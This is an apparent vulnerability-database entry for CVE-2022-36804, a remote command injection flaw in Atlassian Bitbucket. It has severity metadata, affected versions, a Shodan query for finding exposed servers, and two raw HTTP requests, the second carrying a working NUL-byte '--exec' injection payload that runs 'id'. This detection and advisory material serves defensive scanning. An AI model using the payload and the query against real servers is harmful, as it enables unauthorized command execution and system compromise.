| Title | Atlassian Bitbucket - Remote Command Injection |
|---|---|
| Author | DhiyaneshDk,tess,sullo |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. |
| Remediation | Apply the latest security patches provided by Atlassian to mitigate the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94429 |
| CVE ID | CVE-2022-36804 |
| CWE ID | CWE-77 |
| Shodan Query | http.component:"BitBucket" |
| Tags | cve cve2022 packetstorm bitbucket atlassian kev vkev vuln |
Atlassian Bitbucket Server and Data Center is susceptible to remote command injection. Multiple API endpoints can allow an attacker with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request, thus making it possible to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1.
GET /rest/api/latest/repos HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /rest/api/latest/projects/Lt6srg/repos/Ut6Moj/archive?filename=DYh7v&at=DYh7v&path=DYh7v&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-36804.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-36804.pcap
N/AN/A